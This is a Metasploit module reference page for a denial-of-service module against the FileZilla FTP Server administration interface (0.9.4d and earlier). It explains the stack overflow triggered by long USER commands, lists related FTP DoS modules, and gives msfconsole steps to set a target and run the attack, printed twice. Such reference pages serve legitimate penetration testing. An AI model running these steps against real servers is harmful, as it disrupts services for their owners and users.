Browse Exploit & Auxiliary Modules
The Metasploit Project hosts the world's largest database of quality assured exploits, including hundreds of remote exploits, auxiliary modules, and payloads. You can even review the Metasploit Framework source code of any module - or write your own.
Search for modules
FileZilla FTP Server Admin Interface Denial of Service
This module triggers a Denial of Service condition in the FileZilla FTP Server Administration Interface in versions 0.9.4d and earlier. By sending a procession of excessively long USER commands to the FTP Server, the Administration Interface (FileZilla Server Interface.exe) when running, will overwrite the stack with our string and generate an exception. The FileZilla FTP Server itself will continue functioning.
Rank
- Normal
Authors
- patrick < patrick [at] osisecurity.com.au >
References
Development
Similar Modules
- auxiliary/dos/windows/ftp/filezilla_server_port
- auxiliary/dos/windows/ftp/guildftp_cwdlist
- auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof
- auxiliary/dos/windows/ftp/iis_list_exhaustion
- auxiliary/dos/windows/ftp/solarftp_user
- auxiliary/dos/windows/ftp/titan626_site
- auxiliary/dos/windows/ftp/vicftps50_list
- auxiliary/dos/windows/ftp/winftp230_nlst
- auxiliary/dos/windows/ftp/xmeasy560_nlst
- auxiliary/dos/windows/ftp/xmeasy570_nlst
Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use auxiliary/dos/windows/ftp/filezilla_admin_user
msf auxiliary(filezilla_admin_user) > set RHOST [TARGET IP]
msf auxiliary(filezilla_admin_user) > set RPORT [TARGET PORT]
msf auxiliary(filezilla_admin_user) > run
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use auxiliary/dos/windows/ftp/filezilla_admin_user
msf auxiliary(filezilla_admin_user) > set RHOST [TARGET IP]
msf auxiliary(filezilla_admin_user) > set RPORT [TARGET PORT]
msf auxiliary(filezilla_admin_user) > run
Module Options
| RHOST | The target address |
| RPORT | The target port |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
